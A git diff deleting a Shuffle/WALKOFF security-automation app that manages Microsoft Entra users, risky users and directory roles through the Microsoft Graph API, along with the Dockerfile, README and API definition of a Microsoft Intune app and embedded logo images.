dtMaTnCrWFZ+eEQ5eeQSBxDfq9rbxReAtq/wI8Luoo4kXzfmi0BuHTSbvInPqpI4J/kWvB2WbwJoytp81yUIyh9joh2IUpC7+XC+GxjaXnCZUorOkCRZpDVnQLVxUo6JAvuUN6rIURfnKbIM25R+iJ3tnokwq0eF7m6mX85tOSFGBXaaLW2GNzqRvdZnZJQoV+DZOIOiqBz35dvCgpXkvE/jmjkeoxpV261tiharnBrWB45HSL7vWpnM4ulJcP+rChW0F29GSfKf6GGFnvBLd8SDQs9T6/LEoSCH5pjmC0VLsqhKBuga6fgNfmhlixapuVb3BpKq7pADDxMlzwJGm9p0oIIBFLk076HRPJnGBr8n9Xaomk9vl9JwTaUlZ1Hr9P7IYueWYLSbCQpQcKdg0j8lNYiWqb1WNwaeLz3rdh58Afuh653cG28127Yn1WkChiJ2xEMPojBPtdmDr1A64q2GR7LPCk4F4Y+DrL8BfmGuecL8ipoWdkKPXkm3rj7z61NtEzrs7i1eXVXDxQVzIaRHEnW12r0OLw1V0BaiVj8Qowu/MRqbXW0Potbm/Htv8H2iklkhWeSr+h2CnfTEUWevv07opUjW7NomdYtXGZSx0ro71xOEfnFCCtlpu/oNarzDaqQSkynQOxnLXVSoSm0blehNhy0/Sc2FD5xHjS1h2eCNhZtiPzZiHoJfOHFZiJ9nrxw92NZxRGQgjOR1IdCy7JGuCiHEFhDgeR5GF6w0mrNQ+RdhbqMaPM5dn43HgH/UxCF7KUA8k6MAd9LqCgfnRft/uQtbn18kBJRFfs/Eu90ch0KXS1Ex6uYU7gbfukeDPG7v6I5B8gLtyF4u6vOkVGQpGcQV7s4Lt7qJBleUnEphilz6O85OjviPHnhNoY3KvqjIDgPqn4MEg75vZwAJElroMYuJXflTas1Tz3khdtYODldEB+jHvsJNN3e5HQOwhRhERLR8+zapLmlkw/OGgtXTt9ddj69vm9G0MZKOoocp898AFHxzLxoG0/e4mbC29GzkPI/AV0vyNzvpa4PShVIJq+ErMxrjfkGzSEv3EwpjZxAwnsCqjYQiSaOmlUX5diEZOICDA0us1rzNIG8q5ApJeH/orLyJMji82Yid2MRAwkIgTcRN4blRZs5eeE2B84ZiO2+AH7/A5DlAyeni2KCArHHEI1ObIkrb90k7yrYwcLVEroediEE/x8R04qthej7IisxGMYtCAdn5P3Z5pMXrn34sCI6BIIwF5rei/zX6lauJhmUvkZcuxTDwq+hBRXlyCZ54drN63sORTA4F0njBDK8PhLye0glz8FJwfXWT+SxgbxwneD18vYIyXeTuU0hEb8Rw9rssP4ljy0A/w8b4748BFusfwAAAABJRU5ErkJggg== diff --git a/microsoft-identity-and-access/1.0.0/requirements.txt b/microsoft-identity-and-access/1.0.0/requirements.txt deleted file mode 100644 index fd7d3e06..00000000 --- a/microsoft-identity-and-access/1.0.0/requirements.txt +++ /dev/null @@ -1 +0,0 @@ -requests==2.25.1 \ No newline at end of file diff --git a/microsoft-identity-and-access/1.0.0/src/app.py b/microsoft-identity-and-access/1.0.0/src/app.py deleted file mode 100644 index 07a791ad..00000000 --- a/microsoft-identity-and-access/1.0.0/src/app.py +++ /dev/null @@ -1,502 +0,0 @@ -import socket -import asyncio -import time -import random -import json -import uuid -import time -import requests - -from walkoff_app_sdk.app_base import AppBase - -class MsIdentityAccess(AppBase): - __version__ = "1.0.0" - app_name = "Microsoft Identity and Access" - - def __init__(self, redis, logger, console_logger=None): - """ - Each app should have this __init__ to set up Redis and logging. - :param redis: - :param logger: - :param console_logger: - """ - super().__init__(redis, logger, console_logger) - - def authenticate(self, tenant_id, client_id, client_secret, graph_url): - s = requests.Session() - auth_url = f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token" - auth_data = { - "grant_type": "client_credentials", - "client_id": client_id, - "client_secret": client_secret, - "scope": f"{graph_url}/.default", - } - auth_headers = { - "Content-Type": "application/x-www-form-urlencoded", - "cache-control": "no-cache", - } - - print(f"Making request to: {auth_url}") - res = s.post(auth_url, data=auth_data, headers=auth_headers) - - # Auth failed, raise exception with the response - if res.status_code != 200: - raise ConnectionError(res.text) - - access_token = res.json().get("access_token") - s.headers = {"Authorization": f"Bearer {access_token}", "cache-control": "no-cache"} - return s - - # Disable = reset password & sessions - def list_deleted_users(self, tenant_id, client_id, client_secret, user_email_or_id): - graph_url = "https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - - - graph_url = f"https://graph.microsoft.com/v1.0/directory/deletedItems/microsoft.graph.user" - headers = { - "Content-type": "application/json" - } - ret = session.get(graph_url, headers=headers) - print(ret.status_code) - print(ret.text) - if ret.status_code < 300: - data = ret.json() - return data - - return {"success": False, "reason": "Bad status code %d - expecting 200." % ret.status_code} - - # Disable = reset password & sessions - def restore_deleted_user(self, tenant_id, client_id, client_secret, user_email_or_id): - graph_url = "https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - - graph_url = f"https://graph.microsoft.com/v1.0/directory/deletedItems/{user_email_or_id}/restore" - headers = { - "Content-type": "application/json" - } - ret = session.post(graph_url, headers=headers) - print(ret.status_code) - print(ret.text) - if ret.status_code < 300: - data = ret.json() - return data - - return {"success": False, "reason": "Bad status code %d - expecting 200." % ret.status_code} - - # Disable = reset password & sessions - def logout_user(self, tenant_id, client_id, client_secret, user_email_or_id): - - new_password = str(uuid.uuid4()) - graph_url = "https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - - graph_url = f"https://graph.microsoft.com/v1.0/users/{user_email_or_id}/revokeSignInSessions" - headers = { - "Content-type": "application/json" - } - ret = session.post(graph_url, headers=headers) - print(ret.status_code) - print(ret.text) - if ret.status_code < 300: - data = ret.json() - return data - - return {"success": False, "reason": "Bad status code %d - expecting 200." % ret.status_code} - - # Disable = reset password & sessions - def disable_user(self, tenant_id, client_id, client_secret, user_email_or_id): - - new_password = str(uuid.uuid4()) - graph_url = "https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - - graph_url = f"https://graph.microsoft.com/v1.0/users/{user_email_or_id}/revokeSignInSessions" - headers = { - "Content-type": "application/json" - } - ret = session.get(graph_url, headers=headers) - print(ret.status_code) - print(ret.text) - if ret.status_code >= 300: - data = ret.json() - return data - - graph_url = f"https://graph.microsoft.com/v1.0/users/{user_email_or_id}/authentication/passwordMethods" - - ret = session.get(graph_url) - retdata = ret.json() - #return retdata - try: - if len(retdata["value"]) == 0: - return {"success": False, "reason": "Couldn't find any password methods to reset password, but DID revoke their sessions"} - except: - return {"success": False, "reason": "Couldn't find any password methods to reset password, but DID revoke their sessions (2)"} - - registered_password_id = retdata["value"][0]["id"] - graph_url = f"https://graph.microsoft.com/v1.0/users/{user_email_or_id}/authentication/passwordMethods/{registered_password_id}/resetPassword" - headers = { - "Content-type": "application/json" - } - - request_body = { - "newPassword": str(new_password) - } - - - ret = session.post(graph_url, json=request_body,headers=headers) - print(ret.status_code) - print(ret.text) - if ret.status_code >= 300: - data = ret.json() - return data - - return {"success": True, "reason": "Stopped all active sessions and reset their password."} - - def get_user(self, tenant_id, client_id, client_secret, user_id, selected_fields=""): - graph_url = "https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - - graph_url = "https://graph.microsoft.com/v1.0/users?$filter=id eq '%s'" % user_id - if len(selected_fields) > 0: - graph_url += "&$select=%s" % selected_fields - - ret = session.get(graph_url) - print(ret.status_code) - print(ret.text) - if ret.status_code < 300: - data = ret.json() - return data - - return {"success": False, "reason": "Bad status code %d - expecting 200." % ret.status_code} - - def list_users(self, tenant_id, client_id, client_secret): - graph_url = "https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - - graph_url = "https://graph.microsoft.com/v1.0/users" - ret = session.get(graph_url) - print(ret.status_code) - print(ret.text) - if ret.status_code < 300: - data = ret.json() - return data - - return {"success": False, "reason": "Bad status code %d - expecting 200." % ret.status_code} - - def list_groups(self, tenant_id, client_id, client_secret): - graph_url = "https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - - graph_url = "https://graph.microsoft.com/v1.0/groups" - ret = session.get(graph_url) - print(ret.status_code) - print(ret.text) - if ret.status_code < 300: - data = ret.json() - return data - - return {"success": False, "reason": "Bad status code %d - expecting 200." % ret.status_code} - - def list_group_members(self, tenant_id, client_id, client_secret, group_id): - graph_url = "https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - - graph_url = "https://graph.microsoft.com/v1.0/groups/%s/members" % group_id - - ret = session.get(graph_url) - print(ret.status_code) - print(ret.text) - if ret.status_code < 300: - data = ret.json() - return data - - return {"success": False, "reason": "Bad status code %d - expecting 200." % ret.status_code} - - def list_administrative_units(self, tenant_id, client_id, client_secret): - graph_url = "https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - - graph_url = "https://graph.microsoft.com/v1.0/directory/administrativeUnits" - ret = session.get(graph_url) - print(ret.status_code) - print(ret.text) - if ret.status_code < 300: - data = ret.json() - return data - - return {"success": False, "reason": "Bad status code %d - expecting 200." % ret.status_code} - - - def get_administrative_units(self, tenant_id, client_id, client_secret,id): - graph_url = "https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - - graph_url = f"https://graph.microsoft.com/v1.0/directory/administrativeUnits/{id}" - ret = session.get(graph_url) - print(ret.status_code) - print(ret.text) - if ret.status_code < 300: - data = ret.json() - return data - - return {"success": False, "reason": "Bad status code %d - expecting 200." % ret.status_code, "error_response":ret.text} - - def create_administrative_unit(self, tenant_id, client_id, client_secret, display_name, description, visibility): - graph_url = "https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - - graph_url = f"https://graph.microsoft.com/v1.0/directory/administrativeUnits" - - request_body = { - "displayName": display_name, - "description": description, - "visibility": visibility - } - - ret = session.post(graph_url, json= request_body) - print(ret.status_code) - print(ret.text) - if ret.status_code < 300: - data = ret.json() - return data - - return {"success": False, "reason": "Bad status code %d - expecting 200." % ret.status_code, "error_response":ret.text, "error_response":ret.text} - - def list_administrative_unit_members(self, tenant_id, client_id, client_secret,administrative_unit_id): - graph_url = "https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - - graph_url = f"https://graph.microsoft.com/v1.0/directory/administrativeUnits/{administrative_unit_id}/members" - ret = session.get(graph_url) - print(ret.status_code) - print(ret.text) - if ret.status_code < 300: - data = ret.json() - return data - - return {"success": False, "reason": "Bad status code %d - expecting 200." % ret.status_code} - - def get_administrative_unit_member(self, tenant_id, client_id, client_secret, administrative_unit_id, member_id): - graph_url = "https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - - graph_url = f"https://graph.microsoft.com/v1.0/directory/administrativeUnits/{administrative_unit_id}/members/{member_id}" - ret = session.get(graph_url) - print(ret.status_code) - print(ret.text) - if ret.status_code < 300: - data = ret.json() - return data - - return {"success": False, "reason": "Bad status code %d - expecting 200." % ret.status_code, "error_response":ret.text} - - ## add member - def remove_administrative_unit_member(self, tenant_id, client_id, client_secret, administrative_unit_id, user_or_group_id): - graph_url = "https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - - graph_url = f"https://graph.microsoft.com/v1.0/directory/administrativeUnits/{administrative_unit_id}/members/{user_or_group_id}/$ref" - ret = session.delete(graph_url) - print(ret.status_code) - print(ret.text) - return ret.json() - - return {"success": False, "reason": "Bad status code %d - expecting 200." % ret.status_code,"error_response":ret.text} - - def list_risky_users(self, tenant_id, client_id, client_secret, amount=50, skip=0): - graph_url = "https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - if amount == 0 or amount == "": - amount = 50 - - if skip == 0 or skip == "": - skip = 0 - - #graph_url = f"https://graph.microsoft.com/v1.0/identityProtection/riskyUsers?$top=%d&$skip=%d" % (int(amount), int(skip)) - graph_url = f"https://graph.microsoft.com/v1.0/identityProtection/riskyUsers?$top=%d" % (int(amount)) - ret = session.get(graph_url) - print(ret.status_code) - print(ret.text) - if ret.status_code < 300: - data = ret.json() - return data - - return {"success": False, "reason": "Bad status code %d - expecting 200." % ret.status_code} - - def get_risky_user(self, tenant_id, client_id, client_secret, risky_user_id): - graph_url = "https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - - graph_url = f"https://graph.microsoft.com/v1.0/identityProtection/riskyUsers/{risky_user_id}" - ret = session.get(graph_url) - print(ret.status_code) - print(ret.text) - if ret.status_code < 300: - data = ret.json() - return data - - return {"success": False, "reason": "Bad status code %d - expecting 200." % ret.status_code, "error_response":ret.text} - - def confirm_compromised_users(self, tenant_id, client_id, client_secret, risky_user_ids): - graph_url = "https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - - graph_url = "https://graph.microsoft.com/v1.0/identityProtection/riskyUsers/confirmCompromised" - - user_list = [str(user) for user in risky_user_ids.split(',')] - - request_body = { - "userIds": user_list - } - - ret = session.post(graph_url, json= request_body) - print(ret.status_code) - print(ret.text) - if ret.status_code < 300: - data = ret.json() - return data - - return {"success": False, "reason": "Bad status code %d - expecting 200." % ret.status_code, "error_response":ret.text} - - def dismiss_compromised_users(self, tenant_id, client_id, client_secret, risky_user_ids): - graph_url = "https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - - graph_url = "https://graph.microsoft.com/v1.0/identityProtection/riskyUsers/dismiss" - - user_list = [str(user) for user in risky_user_ids.split(',')] - - request_body = { - "userIds": user_list - } - - ret = session.post(graph_url, json= request_body) - print(ret.status_code) - print(ret.text) - if ret.status_code < 300: - data = ret.json() - return data - - return {"success": False, "reason": "Bad status code %d - expecting 200." % ret.status_code, "error_response":ret.text} - - def list_directory_role(self, tenant_id, client_id, client_secret): - graph_url = "https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - - graph_url = "https://graph.microsoft.com/v1.0/directoryRoles" - ret = session.get(graph_url) - print(ret.status_code) - print(ret.text) - if ret.status_code < 300: - data = ret.json() - return data - - return {"success": False, "reason": "Bad status code %d - expecting 200." % ret.status_code, "error_response":ret.text} - - def list_directory_role_members(self, tenant_id, client_id, client_secret, directory_role_id): - graph_url = "https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - - graph_url = f"https://graph.microsoft.com/v1.0/directoryRoles/{directory_role_id}/members" - ret = session.get(graph_url) - print(ret.status_code) - print(ret.text) - if ret.status_code < 300: - data = ret.json() - return data - - return {"success": False, "reason": "Bad status code %d - expecting 200." % ret.status_code, "error_response":ret.text} - - def add_directory_role_members(self, tenant_id, client_id, client_secret, directory_role_id, user_id): - graph_url = "https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - - graph_url = f"https://graph.microsoft.com/v1.0/directoryRoles/{directory_role_id}/members/$ref" - - request_body = { - "@odata.id": f"https://graph.microsoft.com/v1.0/directoryObjects/{user_id}" - } - - ret = session.post(graph_url, json=request_body) - print(ret.status_code) - print(ret.text) - if ret.status_code < 300: - data = ret.json() - return data - - return {"success": False, "reason": "Bad status code %d - expecting 200." % ret.status_code, "error_response":ret.text} - - def remove_directory_role_members(self, tenant_id, client_id, client_secret, directory_role_id, user_id): - graph_url = "https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - - graph_url = f"https://graph.microsoft.com/v1.0/directoryRoles/{directory_role_id}/members/$ref" - - request_body = { - "@odata.id": f"https://graph.microsoft.com/v1.0/directoryObjects/{user_id}" - } - - ret = session.delete(graph_url, json=request_body) - print(ret.status_code) - print(ret.text) - if ret.status_code < 300: - data = ret.json() - return data - - return {"success": False, "reason": "Bad status code %d - expecting 200." % ret.status_code, "error_response":ret.text} - - def delete_user(self, tenant_id, client_id, client_secret, user_email_or_id): - graph_url = "https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - - graph_url = f"https://graph.microsoft.com/v1.0/users/{user_email_or_id}" - - ret = session.delete(graph_url) - print(ret.status_code) - print(ret.text) - if ret.status_code < 300: - data = ret.json() - return data - - return {"success": False, "reason": "Bad status code %d - expecting 200." % ret.status_code, "error_response":ret.text} - - def list_password_methods(self, tenant_id, client_id, client_secret, user_email_or_id): - graph_url = "https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - - graph_url = f"https://graph.microsoft.com/beta/users/{user_email_or_id}/authentication/passwordMethods" - - ret = session.get(graph_url) - print(ret.status_code) - print(ret.text) - if ret.status_code < 300: - data = ret.json() - return data - - return {"success": False, "reason": "Bad status code %d - expecting 200." % ret.status_code, "error_response":ret.text} - - def reset_user_password(self, tenant_id, client_id, client_secret, user_email_or_id , registered_password_id, new_password): - graph_url = "https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - - graph_url = f"https://graph.microsoft.com/beta/users/{user_email_or_id}/authentication/passwordMethods/{registered_password_id}/resetPassword" - - headers = { - "Content-type": "application/json" - } - request_body = { - "newPassword": str(new_password) - } - - ret = session.post(graph_url, json=request_body,headers=headers) - print(ret.status_code) - print(ret.text) - if ret.status_code < 300: - data = ret.json() - return data - - return {"success": False, "reason": "Bad status code %d - expecting 200." % ret.status_code, "error_response":ret.text} - -if __name__ == "__main__": - MsIdentityAccess.run() diff --git a/microsoft-intune/1.0.0/Dockerfile b/microsoft-intune/1.0.0/Dockerfile deleted file mode 100644 index d573f438..00000000 --- a/microsoft-intune/1.0.0/Dockerfile +++ /dev/null @@ -1,26 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage -FROM base as builder - -# Install all alpine build tools needed for our pip installs -RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev - -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install -WORKDIR /install -COPY requirements.txt /requirements.txt -RUN pip install --prefix="/install" -r /requirements.txt - -# Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local -COPY src /app - -# Install any binary dependencies needed in our final image -# RUN apk --no-cache add --update my_binary_dependency - -# Finally, lets run our app! -WORKDIR /app -CMD python app.py --log-level DEBUG diff --git a/microsoft-intune/1.0.0/README.md b/microsoft-intune/1.0.0/README.md deleted file mode 100644 index 9a943a5f..00000000 --- a/microsoft-intune/1.0.0/README.md +++ /dev/null @@ -1,51 +0,0 @@ -## Microsoft Intune -- An app to interact with Microsoft Intune. - -### Authentication -To authenticate this app, you'll need an app registered in the Azure Portal. This app should use what's called **"application permissions"**, NOT "delegated permissions". More about this farther down. **Make sure to have admin consent**. - -**Required**: -- tenant_id -- client_id -- client_secret - -### Permissions -Permissions are meant to be granular according to your needs. Make sure to not give too many permissions. To make the whole app work, add the following permissions to your app. How to register an app farther down. - -**Application Permissions:** -- Device.Read.All -- Device.ReadWrite.All -- Directory.Read.All -- Directory.ReadWrite.All -- DeviceManagementManagedDevices.Read.All -- DeviceManagementManagedDevices.ReadWrite.All -- DeviceManagementApps.Read.All -- DeviceManagementApps.ReadWrite.All - -## How to register app in Active Directory on Azure portal ? - -### Step 1: Go to the Azure portal - - - You'll need to go to the [Azure Portal](https://portal.azure.com/#blade/Microsoft_AAD_RegisteredApps/ApplicationsListBlade) and login. - -### Step 2: Go to the Azure Active Directory Service - -- Once you are logged into Azure, Register a new application so you can access -the Microsoft Graph API. To register a new application go to your **Azure Active Directory** -and once there go down to **App Registrations** a new window will pop up. - -### Step 3: Register a New App -- Set name of your choice. -- Select supported account type. -- You don't have to set redirect URL. - -### Step 4: Generate client secret -- Go to your application → Certificates & Secrets → New client Secret. - -## Note -- You'll need Tenant ID, Client ID & client Secret for authentication (Tenant ID & Client ID are available under application overview and for Client Secret go to Certificate & Secrets section). -- Make sure your application has adequate permissions. -- Each action may require different permission to run. To add permissions, Go to your application in azure portal → API permission → Add permission (some of the permissions will require admin consent). -- After adding permission , Grant consent. -- Be sure to use work / business account. Most of the actions are not supported on personal account. - diff --git a/microsoft-intune/1.0.0/api.yaml b/microsoft-intune/1.0.0/api.yaml deleted file mode 100644 index 937bf26a..00000000 --- a/microsoft-intune/1.0.0/api.yaml +++ /dev/null @@ -1,82 +0,0 @@ -app_version: 1.0.0 -name: Microsoft Intune -description: An app for Microsoft Intune using Graph Api -contact_info: - name: "ShalinBhavsar" - url: https://www.shuffler.io - email: shalinb@infopercept.com -authentication: - required: true - parameters: - - name: tenant_id - description: The tenant of the OAuth client - example: "***" - multiline: false - required: true - schema: - type: string - - name: client_id - description: The client id to use - example: "***" - multiline: false - required: true - schema: - type: string - - name: client_secret - description: The secret value to use - multiline: false - example: "***" - required: true - schema: - type: string -actions: - - name: list_devices - description: List devices - - name: list_apps - description: A managed or unmanaged app that is installed on a managed device. Unmanaged apps will only appear for devices marked as corporate owned. - - name: managed_device_overview - description: show overview - - name: managed_device - description: List properties and relationships of the managedDevice objects. - - name: get_managed_device - description: Read properties and relationships of the managedDevice object. - parameters: - - name: managedDeviceId - description: The id - multiline: false - required: true - schema: - type: string - - name: delete_managed_device - description: Deletes a managedDevice. - parameters: - - name: managedDeviceId - description: The id - multiline: false - required: true - schema: - type: string - - name: remotelock - description: remote locks a device - parameters: - - name: managedDeviceId - description: The id - multiline: false - required: true - schema: - type: string - - name: shutdown - description: Shut down device - parameters: - - name: managedDeviceId - description: The device id - multiline: false - required: true - schema: - type: string - - name: list_managedAppConfigurations - description: List properties and relationships of the managedAppConfiguration objects. - returns: - schema: - type: string -large_image: data:image/png;base64,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